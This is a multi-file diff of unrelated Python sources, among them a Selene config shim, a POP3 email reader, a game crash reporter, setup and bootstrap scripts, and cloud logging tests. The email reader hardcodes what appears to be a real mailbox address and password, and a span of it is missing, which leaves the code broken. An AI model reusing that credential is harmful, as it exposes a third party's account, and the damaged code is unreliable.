Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +import warnings + +from selene.support.shared import config + + +class OldConfig: + @property + def timeout(self): + warnings.warn( + 'selene.config.timeout is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.timeout + + @timeout.setter + def timeout(self, value): + warnings.warn( + 'selene.config.timeout is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.timeout = value + + @property + def poll_during_waits(self): + warnings.warn( + 'selene.config.poll_during_waits is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.poll_during_waits + + @poll_during_waits.setter + def poll_during_waits(self, value): + warnings.warn( + 'selene.config.poll_during_waits is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.poll_during_waits = value + + @property + def base_url(self): + warnings.warn( + 'selene.config.base_url is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.base_url + + @base_url.setter + def base_url(self, value): + warnings.warn( + 'selene.config.base_url is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.base_url = value + + @property + def app_host(self): + warnings.warn( + 'selene.config.app_host is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.base_url + + @app_host.setter + def app_host(self, value): + warnings.warn( + 'selene.config.app_host is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.base_url = value + + @property + def cash_elements(self): + warnings.warn( + 'selene.config.cash_elements is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.cash_elements + + @cash_elements.setter + def cash_elements(self, value): + warnings.warn( + 'selene.config.cash_elements is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.cash_elements = value + + @property + def browser_name(self): + warnings.warn( + 'selene.config.browser_name is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.browser_name + + @browser_name.setter + def browser_name(self, value): + warnings.warn( + 'selene.config.browser_name is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.browser_name = value + + @property + def start_maximized(self): + warnings.warn( + 'selene.config.start_maximized is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.start_maximized + + @start_maximized.setter + def start_maximized(self, value): + warnings.warn( + 'selene.config.start_maximized is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.start_maximized = value + + @property + def hold_browser_open(self): + warnings.warn( + 'selene.config.hold_browser_open is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.hold_browser_open + + @hold_browser_open.setter + def hold_browser_open(self, value): + warnings.warn( + 'selene.config.hold_browser_open is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.hold_browser_open = value + + @property + def counter(self): + warnings.warn( + 'selene.config.counter is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.counter + + @counter.setter + def counter(self, value): + warnings.warn( + 'selene.config.counter is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.counter = value + + @property + def reports_folder(self): + warnings.warn( + 'selene.config.reports_folder is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.reports_folder + + @reports_folder.setter + def reports_folder(self, value): + warnings.warn( + 'selene.config.reports_folder is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.reports_folder = value + + @property + def desired_capabilities(self): + warnings.warn( + 'selene.config.desired_capabilities is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + return config.desired_capabilities + + @desired_capabilities.setter + def desired_capabilities(self, value): + warnings.warn( + 'selene.config.desired_capabilities is deprecated, ' + 'use `from selene.support.shared import config` import', + DeprecationWarning, + ) + config.desired_capabilities = value diff --git a/pool/shard009/Python/0081485_emmail.py b/pool/shard009/Python/0081485_emmail.py new file mode 100644 index 0000000000000000000000000000000000000000..c3ad9a9b2fa4fd3bb30c4a9d7531be4a1de6b917 --- /dev/null +++ b/pool/shard009/Python/0081485_emmail.py @@ -0,0 +1,83 @@ +#/usr/bin/python env +#-*- coding=utf8 -*- +import os,sys +reload(sys) +sys.setdefaultencoding("utf-8") +import poplib +import email +from email.parser import Parser +from email.header import decode_header +from email.utils import parseaddr +import re + +def guess_charset(msg): + charset = msg.get_charset() + if charset is None: + content_type = msg.get('Content-Type', '').lower() + pos = content_type.find('charset=') + if pos >= 0: + charset = content_type[pos + 8:].strip() + return charset + +def decode_str(s): + value, charset = decode_header(s)[0] + if charset: + value = value.decode(charset) + return value + +def print_info(msg, indent=0): + if indent == 0: + for header in ['From', 'To','Cc', 'Subject']: + value = msg.get(header, '') + if value: + if header=='Subject': + value = decode_str(value) + else: + hdr, addr = parseaddr(value) + name = decode_str(hdr) + value = u'%s <%s>' % (name, addr) + print('%s%s: %s' % (' ' * indent, header, value)) + if (msg.is_multipart()): + parts = msg.get_payload() + for n, part in enumerate(parts): + #print('%spart %s' % ( indent, n)) + #print('%s' % (indent)) + print_info(part, indent + 1) + + else: + content_type = msg.get_content_type() + if content_type=='text/plain' or content_type=='text/html': + content = msg.get_payload(decode=True) + charset = guess_charset(msg) + if charset: + content = content.decode(charset) + a = content.split('=0: + startIndex += len(startStr) + endIndex = msg.index(endStr) + return msg[startIndex:endIndex] + +if __name__ == "__main__": + pop3_server = 'pop.sina.com' + if len(sys.argv) > 1: + email = sys.argv[1] + password=sys.argv[2] + else: + email = 'w1p1j1@sina.com' + password = 'jinjin123' + + server = poplib.POP3(pop3_server) + server.user(email) + server.pass_(password) + # print('第%s:条. Size: %s' % server.stat()) + resp, mails, octets = server.list() + resp, lines, octets = server.retr(len(mails)) + # resp, lines, octets = server.retr(1794) + msg = Parser().parsestr('\r\n'.join(lines)) + print_info(msg) + server.quit() diff --git a/pool/shard009/Python/0081488_ExceptionHandler.py b/pool/shard009/Python/0081488_ExceptionHandler.py new file mode 100644 index 0000000000000000000000000000000000000000..be3c05f6dbf0f943e7b79c6716d1ca98eb1419cc --- /dev/null +++ b/pool/shard009/Python/0081488_ExceptionHandler.py @@ -0,0 +1,78 @@ +from os import path +import sys +import traceback +import cStringIO +import webbrowser +import base64 +import urllib +import gzip +from pprint import pformat + +from PodSix.Resource import * +from PodSix.Game import Game + +from engine.NetMonitor import NetErrorException, NetDisconnectionException, NetBadVersionException +from engine.BuildFile import buildfile + +class ExceptionHandler(Game, EventMonitor): + def __init__(self): + # before anything, fetch the exception that was thrown and it's value + exctype, value = sys.exc_info()[:2] + # now print the traceback out as per usual + traceback.print_exc() + #sfx.LoadSound('splash') + #sfx.PlaySound('splash') + self.bgColor = (255, 255, 255) + gfx.Caption('Infinite 8-bit Platformer') + gfx.SetSize([640, 200]) + gfx.LoadFont("freaky_fonts_ca", 16.0 / gfx.width, "default") + + # by default don't open a browser window + self.destination = None + + # if this is not a known exception then we want the crashdump + if not exctype in [NetErrorException, NetDisconnectionException, NetBadVersionException]: + value = "Argh, Infinite 8-Bit Platformer crashed! Click here to send us a crash-report so we can fix the bug. Thank you!" + # now collect the value of the traceback into our file like object + catcherror = cStringIO.StringIO() + # prepare a zipfile filter to push everything through + zipout = gzip.GzipFile(fileobj=catcherror, mode="w") + # wrap the error catcher in gzip + traceback.print_exc(file=zipout) + # append the buildfile information to the zip we are sending + zipout.write("\n\nBuild info JSON:\n" + pformat(buildfile.GetInfo())) + zipout.close() + # get the result out + ziptrace = catcherror.getvalue() + self.destination = "http://infiniteplatformer.com/feedback?" + urllib.urlencode({"trace": base64.b64encode(ziptrace)}) + + if exctype == NetBadVersionException: + self.message = gfx.WrapText("A new version of the game is available! Click here to visit http://infiniteplatformer.com/download to get the latest version.", 0.8) + self.destination = "http://infiniteplatformer.com/download" + self.face = pygame.image.load(path.join(*["resources", "icons", "happy-invert.png"])) + else: + self.message = gfx.WrapText(str(value), 0.8) + self.face = pygame.image.load(path.join(*["resources", "icons", "sad-invert.png"])) + + Game.__init__(self) + EventMonitor.__init__(self) + + def Pump(self): + Game.Pump(self) + EventMonitor.Pump(self) + + def Run(self): + gfx.screen.blit(self.face, [16, 16]) + for l in range(len(self.message)): + gfx.DrawText(self.message[l], pos={"left": 0.1, "top": 0.05 + 0.05 * l}, color=[255, 255, 255]) + Game.Run(self) + gfx.Flip() + + def KeyDown(self, e): + self.Quit() + + def MouseDown(self, e): + if self.destination: + webbrowser.open(self.destination) + self.Quit() + diff --git a/pool/shard009/Python/0081491_setup.py b/pool/shard009/Python/0081491_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..fa0544c0582dc7385e451fe1754f820a7ef3f82d --- /dev/null +++ b/pool/shard009/Python/0081491_setup.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +from setuptools import setup, find_packages +from setuptools.command.test import test as TestCommand +import sys + + +setup_requires = [] +if 'test' in sys.argv: + setup_requires.append('pytest') +tests_requires = [ + 'pytest', + 'pytest-cov>=1.8.1', + 'pytest-localserver', +] +dev_requires = [ + 'sphinx', +] +install_requires = [ + 'requests>=2.4.0', +] + + +class PyTest(TestCommand): + + def finalize_options(self): + TestCommand.finalize_options(self) + self.test_args = ['robgracli'] + self.test_suite = True + + def run_tests(self): + # import here, cause outside the eggs aren't loaded + import pytest + errno = pytest.main(self.test_args) + sys.exit(errno) + + +setup( + name='robust-graphite-client', + version='1.1.0', + license='MIT', + author='Luper Rouch', + author_email='luper.rouch@gmail.com', + url='https://github.com/Stupeflix/robust-graphite-client', + description='A simple graphite querying library with workarounds on ' + 'some rare bugs', + long_description=open('README.rst').read(), + packages=find_packages(), + install_requires=install_requires, + extras_require={ + 'tests': tests_requires, + 'dev': dev_requires, + }, + tests_require=tests_requires, + cmdclass={'test': PyTest}, + zip_safe=False, + include_package_data=True, +) diff --git a/pool/shard009/Python/0081492_postanalysis_io.py b/pool/shard009/Python/0081492_postanalysis_io.py new file mode 100644 index 0000000000000000000000000000000000000000..3c4486fea6db94df444554da301a904b71e9febe --- /dev/null +++ b/pool/shard009/Python/0081492_postanalysis_io.py @@ -0,0 +1,220 @@ +__author__ = 'robswift' + + +import os, sys +import textwrap + + +def print_short_help(): + """ + print a short help message + :return: + """ + w = textwrap.TextWrapper() + w.expand_tabs = False + w.width = 125 + w.initial_indent = ' ' + w.subsequent_indent = '\t\t ' + + input = "usage: postanalysis --input [(required) csv] --outname [(required) string]\ + --ensemble_list [(required) 1st.csv ... Nth.csv] --compare [(optional)]\ + --fpf [(optional) float] --plot [(optional)] --write_roc [(optional)]" + print('') + print(w.fill(input)) + print('') + + +def print_extended_help(): + """ + print a detailed help message + :return: + """ + w = textwrap.TextWrapper() + w.expand_tabs = False + w.width = 85 + w.initial_indent = '\t' + w.subsequent_indent = '\t ' + + print('') + print(textwrap.fill(" Complete parameter list:", initial_indent='')) + print('') + + cmd = "--input : (required) csv file to split into training and test sets" + print(w.fill(cmd)) + cmd = "\t\tColumns should be as follows:" + print(w.fill(cmd)) + print('') + cmd="\t\t id, status, receptor_1, receptor_2, ..., receptor_N" + print(w.fill(cmd)) + cmd="\t\t CH44, 1, -9.7, -9.3, ..., -10.2" + print(w.fill(cmd)) + cmd="\t\t ZN44, 0, -6.6, -6.1, ..., -6.8" + print(w.fill(cmd)) + print('') + cmd="\t\tid is a unique molecular identifier" + print(w.fill(cmd)) + cmd="\t\tstatus takes a value of '1' if the molecule is active and '0' otherwise." + print(w.fill(cmd)) + cmd="\t\treceptor_1 through receptor_N are docking scores." + print(w.fill(cmd)) + print('') + + outname = "--outname : (required) the prefix of the outputfiles." + print(w.fill(outname)) + print('') + + ensemble_list = "--ensemble_list : (required) a list of csv files that contain the queries in\ + the ensemble. For example, 'Ensemble_1_queries.csv Ensemble_2_queries.csv\ + Ensemble_3_queries.csv ...'" + print(w.fill(ensemble_list)) + print('') + + compare = "--compare : (optional) Compare the virtual screening results for the\ + ensembles specified after the '--ensemble_list' flag. No more than two ensembles\ + may be specified at once." + print(w.fill(compare)) + print('') + + fpf = "--fpf : (optional) Evaluate ensemble performance at the set of specified FPF values. \ + By default, values of '0.0001', '0.001', '0.01', and '0.05' are considered, if they are defined." + print(w.fill(fpf)) + print('') + + plot = "--plot : (optional) Generate ROC plots of the input ensembles and their\ + members." + print(w.fill(plot)) + print('') + + roc_data = "--write_roc : (optional) if the '--write_roc' flag is set, a 'ROC_DATA' \ + directory will be created, & ROC data points will be written there for each\ + ensemble. The default is not to write ROC data points." + print(w.fill(roc_data)) + print('') + + +def get_interface(args): + if len(args) < 4: + print_short_help() + return None + else: + # check the input flags + flags = ('--input', '--ensemble_list', '--fpf', '--outname', + '--plot', '--write_roc', '--compare') + for inputarg in [x for x in args if '--' in x]: + if inputarg not in flags: + print("\n Unrecognized input flag: {flag}\n".format(flag=inputarg)) + print_short_help() + sys.exit(1) + parser = ParseArgs(args) + return parser + + +class ParseArgs: + def __init__(self, args): + self.args = args + self.required = ('--input', '--ensemble_list', '--outname') + self.flags = ('--input', '--ensemble_list', '--write_roc', '--outname', '--fpf', + '--plot', '--compare') + + def get_list(self, input_string): + """ + Return a list of user input + :param input_string: + :return: + """ + + if input_string in ('--ensemble_list', '--fpf'): + + # was the flag set? + try: + index_low = self.args.index(input_string) + 1 + except ValueError: + if input_string in self.required: + print("\n {flag} is required".format(flag=input_string)) + print_short_help() + sys.exit(1) + else: + return None + + # the flag was set, so check if a value was set, otherwise exit + try: + if self.args[index_low] in self.flags: + print("\n {flag} was set but a value was not specified".format(flag=input_string)) + print_short_help() + sys.exit(1) + except IndexError: + print("\n {flag} was set but a value was not specified".format(input_string)) + print_short_help() + sys.exit(1) + + # at least one value was set + index_high = index_low + try: + # if the flag wasn't the last argument specified + while self.args[index_high] not in self.flags: + index_high += 1 + except IndexError: + # if it was, then handle it accordingly + index_high = self.args.index(self.args[-1]) + return self.args[index_low:index_high + 1] + # return a list of input files + if index_low == index_high: + inputList = [] + inputList.append(self.args[index_low]) + return inputList + else: + return self.args[index_low:index_high] + + def get_string(self, input_string): + """ + Return string type user input + """ + + if input_string in ('--input', '--outname'): + + # was the flag set? + try: + index = self.args.index(input_string) + 1 + except ValueError: + # was it required? If so, print error and exit + if input_string in self.required: + print("\n {flag} is required".format(flag=input_string)) + print_short_help() + sys.exit(1) + # if not required, set and return default value + else: + return None + + # the flag was set, so check if a value was set, otherwise exit + try: + if self.args[index] in self.flags: + print("\n {flag} was set but a value was not specified".format(flag=input_string)) + print_short_help() + sys.exit(1) + except IndexError: + print("\n {flag} was set but a value was not specified".format(flag=input_string)) + print_short_help() + sys.exit(1) + + # a value was set, so check and assign the appropriate value or exit + if input_string == '--input': + return os.path.abspath(self.args[index]) + else: + return self.args[index] + + def get_boolean(self, input_string): + """ + Return boolean type user input + """ + + if input_string in ('--write_roc', '--plot', '--compare'): + + # was the flag set? + try: + index = self.args.index(input_string) + 1 + except ValueError: + # it wasn't, args are optional, so return the appropriate default + return False + + # the flag was set, so return the True + return True \ No newline at end of file diff --git a/pool/shard009/Python/0081494_csv.py b/pool/shard009/Python/0081494_csv.py new file mode 100644 index 0000000000000000000000000000000000000000..96c464957e30d045f32712e75c18bbbe4f244874 --- /dev/null +++ b/pool/shard009/Python/0081494_csv.py @@ -0,0 +1,89 @@ +from udata.core.discussions.models import Discussion +from udata.frontend import csv + +from .models import Dataset, Resource + + +def serialize_spatial_zones(dataset): + if dataset.spatial and dataset.spatial.zones: + return ','.join(z.name for z in dataset.spatial.zones) + + +@csv.adapter(Dataset) +class DatasetCsvAdapter(csv.Adapter): + fields = ( + 'id', + 'title', + 'slug', + ('url', 'external_url'), + ('organization', 'organization.name'), + ('organization_id', 'organization.id'), + 'description', + 'frequency', + 'license', + 'temporal_coverage.start', + 'temporal_coverage.end', + 'spatial.granularity', + ('spatial.zones', serialize_spatial_zones), + 'private', + ('featured', lambda o: o.featured or False), + 'created_at', + 'last_modified', + ('tags', lambda o: ','.join(o.tags)), + ) + + def dynamic_fields(self): + return csv.metric_fields(Dataset) + + +def dataset_field(name, getter=None): + return ('dataset.{0}'.format(name), getter or name) + + +@csv.adapter(Resource) +class ResourcesCsvAdapter(csv.NestedAdapter): + fields = ( + dataset_field('id'), + dataset_field('title'), + dataset_field('slug'), + dataset_field('url', 'external_url'), + dataset_field( + 'organization', + lambda r: r.organization.name if r.organization else None), + dataset_field( + 'organization_id', + lambda r: str(r.organization.id) if r.organization else None), + dataset_field('license'), + dataset_field('private'), + ) + nested_fields = ( + 'id', + 'url', + 'title', + 'description', + 'filetype', + 'format', + 'mime', + 'filesize', + ('checksum.type', lambda o: getattr(o.checksum, 'type', None)), + ('checksum.value', lambda o: getattr(o.checksum, 'value', None)), + 'created_at', + 'modified', + ('downloads', lambda o: int(o.metrics.get('views', 0))), + ) + attribute = 'resources' + + +@csv.adapter(Discussion) +class IssuesOrDiscussionCsvAdapter(csv.Adapter): + fields = ( + 'id', + 'user', + 'subject', + 'title', + ('size', lambda o: len(o.discussion)), + ('messages', lambda o: '\n'.join(msg.content for msg in o.discussion)), + 'created', + 'closed', + 'closed_by', + ) diff --git a/pool/shard009/Python/0081495_bootstrap.py b/pool/shard009/Python/0081495_bootstrap.py new file mode 100644 index 0000000000000000000000000000000000000000..bc6acbe5805e01194b5b6e753d1c60f5a997c53a --- /dev/null +++ b/pool/shard009/Python/0081495_bootstrap.py @@ -0,0 +1,105 @@ +''' +This bootstrap script does the following: +a) Check if Pip is installed, and if not, installs Pip +b) Check if Virtualenv is installed, and if not, installs VirtualEnv via Pip +c) Create the virtualenv in Env and installs requirements into virtualenv +d) Creates a manage.bat / manage.sh script that links to the test project +''' + +import os, sys, subprocess + +ROOT = os.path.dirname(os.path.abspath(__file__)) +VIRTUAL_ENV_NAME='env' +VIRTUAL_ENV_DIR=os.path.join(ROOT,VIRTUAL_ENV_NAME) +REQUIREMENTS_FILE=os.path.join(ROOT,'requirements.txt') +DJANGO_MANAGE_FILE = os.path.join(ROOT,'tests','dynamo_project','manage.py') + +OS_MANAGE_SCRIPT_WIN32='''@echo off +set CMD_LINE_ARGS= +:setArgs +if ""%%1""=="""" goto doneSetArgs +set CMD_LINE_ARGS=%%CMD_LINE_ARGS%% %%1 +shift +goto setArgs +:doneSetArgs +"%s" "%s" %%CMD_LINE_ARGS%% +goto stop +:stop +''' + +OS_MANAGE_SCRIPT_OSX='''%s "%s" "$@"''' + + + +def bootstrap(): + try: + import pip + except ImportError: + sys.stdout.write('Pip is not found and will be installed.\n') + subprocess.call(['sudo","easy_install","pip']) + sys.stdout.write('Pip is now installed on your system.\n') + else: + sys.stdout.write('Pip is already installed on your system.\n') + try: + import virtualenv + except ImportError: + sys.stdout.write('Virtualenv is not found and will be installed using Pip.\n') + subprocess.call(['pip", "install", "virtualenv']) + sys.stdout.write('Virtualenv is now installed on your system.\n') + else: + sys.stdout.write('Virtualenv is already installed on your system.\n') + +def create_virtualenv(): + "Check if a virtual env existis, if not, create one" + sys.stdout.write("Creation of Virtualenv starts.\n") + if 'VIRTUAL_ENV' not in os.environ: + if not os.access(VIRTUAL_ENV_NAME,os.F_OK): + sys.stdout.write('Virtualenv \"%s\" does not exist yet and will now be created.\n' %VIRTUAL_ENV_NAME) + #subprocess.call(["virtualenv", VIRTUAL_ENV_NAME, "--no-site-packages"]) + subprocess.call(['virtualenv', VIRTUAL_ENV_NAME]) + sys.stdout.write('Virtualenv \"%s\" is now created\n' %VIRTUAL_ENV_NAME) + else: + sys.stdout.write('Virtualenv \"%s\" already existed and will not be created.\n' %VIRTUAL_ENV_NAME) + else: + sys.stdout.write('Virtualenv \"%s\" already existed and will not be created.\n' %VIRTUAL_ENV_NAME) + +def install_requirements(): + "Install the requirements into the virtualenv" + sys.stdout.write("Installation of requirements into Virtualenv starts.\n") + pip_exe=os.path.join(VIRTUAL_ENV_DIR,'bin','pip') + subprocess.call([pip_exe, "install", "--requirement",REQUIREMENTS_FILE]) + sys.stdout.write("Requirements are now installed/updated.\n") + + + +def create_manage_command(): + sys.stdout.write("The manage command will now be created.\n") + if sys.platform =='win32': + os_manage_filename='manage.bat' + python_exe=os.path.join(VIRTUAL_ENV_DIR,'Scripts','python.exe') + os_manage_script=OS_MANAGE_SCRIPT_WIN32 + else: + os_manage_filename='manage.sh' + python_exe=os.path.join(VIRTUAL_ENV_DIR,'bin','python') + os_manage_script=OS_MANAGE_SCRIPT_OSX + + f = open(os_manage_filename,'w') + f.write(os_manage_script %(python_exe,DJANGO_MANAGE_FILE)) + f.close() + sys.stdout.write("The manage command has been created.\n") + +if __name__ == '__main__': + sys.stdout.write('***** Project Bootstrap starts. *****\n\n') + + bootstrap() + sys.stdout.write('\n') + create_virtualenv() + sys.stdout.write('\n') + install_requirements() + sys.stdout.write('\n') + create_manage_command() + + sys.stdout.write('\n***** Project Bootstrap is done.*****\n\n') + sys.stdout.write('You can now run manage syncdb and manage runserver to have a test project up and running.\n\n') + + sys.exit(0) diff --git a/pool/shard009/Python/0081497_api.py b/pool/shard009/Python/0081497_api.py new file mode 100644 index 0000000000000000000000000000000000000000..7f2e37358ea44827614f74f0b4dab67eb170add1 --- /dev/null +++ b/pool/shard009/Python/0081497_api.py @@ -0,0 +1,93 @@ +# -*- coding: utf-8 -*- +# api.py +# +# Copyright 2014 BitVault, Inc. dba Gem + + +from __future__ import print_function +from __future__ import unicode_literals +from future.utils import iteritems + +from .mapping import Mapping +from .util import SchemaStruct, SchemaArray + + +class API(object): + """ + Interprets and represents a JSON API definition. + """ + + def __init__(self, definition): + + self.service_url = definition.get('service_url', None) + + # Handle resources + self.resources = definition['resources'] + for name, value in iteritems(self.resources): + value['name'] = name + + # Handle schemas + # FIXME: test that schemas is really an array + self.schemas = definition['schemas'] + + # Handle mappings + self.mappings = {} + for name, mapping in iteritems(definition['mappings']): + self.mappings[name] = Mapping(self, name, mapping) + + def find_mapping(self, schema): + id = schema.get('id', None) or schema.get('$ref', None) + if id: + name = id.split('#')[-1] + return self.mappings.get(name, None) + else: + return None + + def decorate(self, context, schema, data): + if not schema: + return SchemaStruct(data) + + mapping = self.find_mapping(schema) + if mapping: + # when we have a resource class, instantiate it using the + # input data. + data = mapping.cls(context, data) + else: + # Otherwise traverse the schema in search of subschemas + # that have resource classes available. + + items = schema.get('items', None) + if items: + # TODO: handle the case where schema.items is an array, + # which signifies a tuple. schema.additionalItems + # then becomes important. + data = [self.decorate(context, items, item) + for item in data] + data = SchemaArray(data) + + properties = schema.get('properties', None) + if properties: + for key, prop_schema in iteritems(properties): + value = data.get(key, None) + if value: + data[key] = self.decorate( + context, + prop_schema, + value) + + additionalProperties = schema.get('additionalProperties', None) + if additionalProperties: + for key, value in iteritems(data): + if ('properties' not in schema or + key not in schema['properties']): + data[key] = self.decorate( + context, + schema['additionalProperties'], + value) + + + + if isinstance(data, dict): + data = SchemaStruct(data) + + return data diff --git a/pool/shard009/Python/0081498_constants.py b/pool/shard009/Python/0081498_constants.py new file mode 100644 index 0000000000000000000000000000000000000000..7b16a54cf769d1aaa4ac55bb0f250f062be59c92 --- /dev/null +++ b/pool/shard009/Python/0081498_constants.py @@ -0,0 +1,49 @@ +# coding: utf-8 +# +# Copyright 2017 The Oppia Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS-IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# pylint: disable=invalid-name + +"""Loads constants for backend use.""" + +import json +import os +import re + + +def parse_json_from_js(js_file): + """Extracts JSON object from JS file.""" + text = js_file.read() + text_without_comments = remove_comments(text) + first_bracket_index = text_without_comments.find('= {') + last_bracket_index = text_without_comments.rfind('}') + json_text = ( + text_without_comments[first_bracket_index + 2:last_bracket_index + 1] + ) + return json.loads(json_text) + + +def remove_comments(text): + """Removes comments from given text.""" + return re.sub(r' //.*\n', r'', text) + + +class Constants(dict): + """Transforms dict to object, attributes can be accessed by dot notation.""" + __getattr__ = dict.__getitem__ + + +with open(os.path.join('assets', 'constants.js'), 'r') as f: + constants = Constants(parse_json_from_js(f)) diff --git a/pool/shard009/Python/0081500_test_app_engine.py b/pool/shard009/Python/0081500_test_app_engine.py new file mode 100644 index 0000000000000000000000000000000000000000..13d21d58d33f1191b5c3ef7c3ddb736c026f50a4 --- /dev/null +++ b/pool/shard009/Python/0081500_test_app_engine.py @@ -0,0 +1,128 @@ +# Copyright 2016 Google LLC All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import logging +import unittest + +import mock + + +class TestAppEngineHandler(unittest.TestCase): + PROJECT = "PROJECT" + + def _get_target_class(self): + from google.cloud.logging.handlers.app_engine import AppEngineHandler + + return AppEngineHandler + + def _make_one(self, *args, **kw): + return self._get_target_class()(*args, **kw) + + def test_constructor(self): + from google.cloud.logging.handlers.app_engine import _GAE_PROJECT_ENV_FLEX + from google.cloud.logging.handlers.app_engine import _GAE_PROJECT_ENV_STANDARD + from google.cloud.logging.handlers.app_engine import _GAE_SERVICE_ENV + from google.cloud.logging.handlers.app_engine import _GAE_VERSION_ENV + + client = mock.Mock(project=self.PROJECT, spec=["project"]) + + # Verify that project/service/version are picked up from the + # environment. + with mock.patch( + "os.environ", + new={ + _GAE_PROJECT_ENV_STANDARD: "test_project", + _GAE_SERVICE_ENV: "test_service", + _GAE_VERSION_ENV: "test_version", + }, + ): + handler = self._make_one(client, transport=_Transport) + self.assertIs(handler.client, client) + self.assertEqual(handler.resource.type, "gae_app") + self.assertEqual(handler.resource.labels["project_id"], "test_project") + self.assertEqual(handler.resource.labels["module_id"], "test_service") + self.assertEqual(handler.resource.labels["version_id"], "test_version") + + # Verify that _GAE_PROJECT_ENV_FLEX environment variable takes + # precedence over _GAE_PROJECT_ENV_STANDARD. + with mock.patch( + "os.environ", + new={ + _GAE_PROJECT_ENV_FLEX: "test_project_2", + _GAE_PROJECT_ENV_STANDARD: "test_project_should_be_overridden", + _GAE_SERVICE_ENV: "test_service_2", + _GAE_VERSION_ENV: "test_version_2", + }, + ): + handler = self._make_one(client, transport=_Transport) + self.assertIs(handler.client, client) + self.assertEqual(handler.resource.type, "gae_app") + self.assertEqual(handler.resource.labels["project_id"], "test_project_2") + self.assertEqual(handler.resource.labels["module_id"], "test_service_2") + self.assertEqual(handler.resource.labels["version_id"], "test_version_2") + + def test_emit(self): + client = mock.Mock(project=self.PROJECT, spec=["project"]) + handler = self._make_one(client, transport=_Transport) + gae_resource = handler.get_gae_resource() + gae_labels = handler.get_gae_labels() + trace = None + logname = "app" + message = "hello world" + record = logging.LogRecord(logname, logging, None, None, message, None, None) + handler.emit(record) + + self.assertIs(handler.transport.client, client) + self.assertEqual(handler.transport.name, logname) + self.assertEqual( + handler.transport.send_called_with, + (record, message, gae_resource, gae_labels, trace), + ) + + def _get_gae_labels_helper(self, trace_id): + get_trace_patch = mock.patch( + "google.cloud.logging.handlers.app_engine.get_trace_id", + return_value=trace_id, + ) + + client = mock.Mock(project=self.PROJECT, spec=["project"]) + # The handler actually calls ``get_gae_labels()``. + with get_trace_patch as mock_get_trace: + handler = self._make_one(client, transport=_Transport) + + gae_labels = handler.get_gae_labels() + self.assertEqual(mock_get_trace.mock_calls, [mock.call()]) + + return gae_labels + + def test_get_gae_labels_with_label(self): + from google.cloud.logging.handlers import app_engine + + trace_id = "test-gae-trace-id" + gae_labels = self._get_gae_labels_helper(trace_id) + expected_labels = {app_engine._TRACE_ID_LABEL: trace_id} + self.assertEqual(gae_labels, expected_labels) + + def test_get_gae_labels_without_label(self): + gae_labels = self._get_gae_labels_helper(None) + self.assertEqual(gae_labels, {}) + + +class _Transport(object): + def __init__(self, client, name): + self.client = client + self.name = name + + def send(self, record, message, resource, labels, trace): + self.send_called_with = (record, message, resource, labels, trace) diff --git a/pool/shard009/Python/0081509_handler.py b/pool/shard009/Python/0081509_handler.py new file mode 100644 index 0000000000000000000000000000000000000000..59d99badbc4c0605d9e576f0325b244c396d09b6 --- /dev/null +++ b/pool/shard009/Python/0081509_handler.py @@ -0,0 +1,18 @@ +""" +Wrapper script for django's mod_python handler: +We need to get our virtualenv's library into site-packages. +Based on suggestions from +http://paste.lisp.org/display/59757 +and 